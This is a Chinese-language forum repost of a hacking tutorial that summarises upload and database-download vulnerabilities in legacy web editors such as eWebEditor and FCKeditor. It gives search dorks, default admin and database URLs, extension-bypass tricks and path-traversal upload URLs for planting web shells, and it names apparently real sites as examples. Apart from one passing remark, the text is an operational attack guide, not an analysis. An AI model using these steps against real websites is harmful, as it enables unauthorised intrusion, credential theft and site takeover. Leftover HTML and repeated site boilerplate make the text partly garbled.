编辑器漏洞总结

2011-9-18 18:52:08

马上注册，结交更多好友，享受更多内容，了解更多户外知识，让你轻松享受户外！

您需要登录才可以下载或查看，没有账号？立即注册

×

编辑器漏洞总结 </h1> <div id="property"> 2009-10-28 10:07:40 xueheike.net 来源：<a href="" target="_blank">冰点极限&海洋顶端</a></div> 如何搜索编辑器漏洞？ site:editor inurl:asp?id inurl:ewebeditornet 比如常见的编辑器漏洞有: ewebeditor ewebeditornet fckeditor editor southidceditor SouthidcEditor bigcneditor ... 如何搜索编辑器漏洞？ site:editor inurl:asp?id inurl:ewebeditornet 比如常见的编辑器漏洞有: ewebeditor ewebeditornet fckeditor editor southidceditor SouthidcEditor bigcneditor 一:ewebeditor为例 1:默认下载下来的后台: <A href="http://www.test.com/ewebeditor/admin_login.asp" target=_blank>http://www.test. ... n_login.asp</A> 后台如果能进入: 可点击样式管理: standard 拷贝一份(直接修改改不了) 在拷贝的一份里加入图片类型( asa aaspsp ) 然后点预览 在编辑器里点设计然后直接上传asa大马. 上传后在代码里可以看到马的位置! (原理:因为在iis里网站的属性里应用程序配置一项 asa扩展名还是用asp.dll来解析的,asp也是还有 cer cdx ) 在cer cdx asa的被删掉那么马儿就找不到映射不过去. 可以在拷贝过后的样式图片类型里加入 aaspsp 然后在上传直接就可以上传asp文件 2:下载默认数据库 <A href="http://www.test.com/ewebeditor/db/ewebeditor.mdb" target=_blank>www.test.com/ewebeditor/db/ewebeditor.mdb</A> 然后分析数据库 webeditor_system(1) 就可以看到用户名和密码 如果破解不出来 可以在webeditor_style(14 样式表里 主要看允许上传文件的扩展名(s-fileext s_ingeext) 看到一个小黑客曾经搞过多了asa aaspsp 可以用他来利用!(后台找不到的情况下也可以用此方法) 可以构造语句: 比如 ID=46 s-name =standard1 构造代码: ewebeditor.asp?id=contentstyle=standard ID和和样式名改过后 ewebeditor.asp?id=46style=standard1 然后就是进入编辑器上传asa 或者asp的得到webshell 二:ewebeditornet 漏洞利用 默认上传地址: <A href="http://www.test.com/ewebeditornet/upload.aspx" target=_blank>www.test.com/ewebeditornet/upload.aspx</A> 可以直接上传一个cer的木马 在无法上传的情况下 可以地址栏构造以下代码: java script:lbtnUpload.click(); 然后查看源代码: 找到uploadsave 找到地址 默认传到uploadfile这个文件夹里 (漏洞修补: 可以在iss里直接把upload文件夹的执行权限选择无. ) 三:fckeditor 漏洞利用 <A href="http://www.test.com/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload;Type=Image;CurrentFolder=/" target=_blank>http://www.test.com/fckeditor/ed ... amp;CurrentFolder=/</A> 就把文件名字段改成NEWfile 选择文件名可定义 上传过后在/userfiles/image/找文件 四：southidceditor <A href="http://www.xhkjit.com/admin/southidceditor/datas/southidceditor.mdb" target=_blank>http://www.xhkjit.com/admin/sout ... /southidceditor.mdb</A> <A href="http://www.xhkjit.com/admin/southidceditor/popup.asp" target=_blank>http://www.xhkjit&#4 ... r/popup.asp</A> <A href="http://www.xhkjit.com/admin/southidceditor/admin/admin_login.asp" target=_blank>http://www.xhkjit&#4 ... n_login.asp</A> 五：bigcneditor 这个页不多说了 原理都差不多！ 防范方法很简单就不多讲了， FCKeditor上传漏洞, <A href="http://www.xxx.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all;Connector=connectors/asp/connector.asp" target=_blank>http://www.xxx.com/admin/FCKedit ... s/asp/connector.asp</A> 打开这个地址就可以上传任何类型的文件了，马儿上传到的位置是: <A href="http://www.xxx.com/UserFiles/all/1.asa" target=_blank>http://www.xxx.com/UserFiles/all/1.asa</A> "Type=all" 这个变量是自己定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制. 比如输入: <A href="http://www.xxx.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=monyer;Connector=connectors/asp/connector.asp" target=_blank>http://www.xxx.com/admin/FCKedit ... s/asp/connector.asp</A> 所传的文件就到了 <A href="http://www.xxx.com/UserFiles/monyer/" target=_blank>http://www.xxx.com/UserFiles/monyer/</A> 下了 而如果这样输入:<A href="http://www.xxx.com/admin/FCKeditor/editor/filemanager/browser" target=_blank>http://www.xxx.c ... filemanager/browser</A> /default/browser.html?Type=../;Connector=connectors/asp/connector.asp 就可以传到网站的根目录下,网站支持什么脚本,传什么脚本的马就可以了. 所传的文件就到了网站根目录下了 <A href="http://www.b-horse.cn/newEbiz1/EbizPortalFG/portal/html/BBSThreadMessageMaint.html?forumID=46;threadID=457;messageID=532;ListType=FromForum;FromCurrentPage=1;time=1219282232781" target=_blank>http://www.b-horse.cn/newEbiz1/E ... ;time=1219282232781</A></div>


	选中篇: 置顶\|

选中 篇:

编辑器漏洞总结

编辑器漏洞总结

马上注册，结交更多好友，享受更多内容，了解更多户外知识，让你轻松享受户外！

选中篇: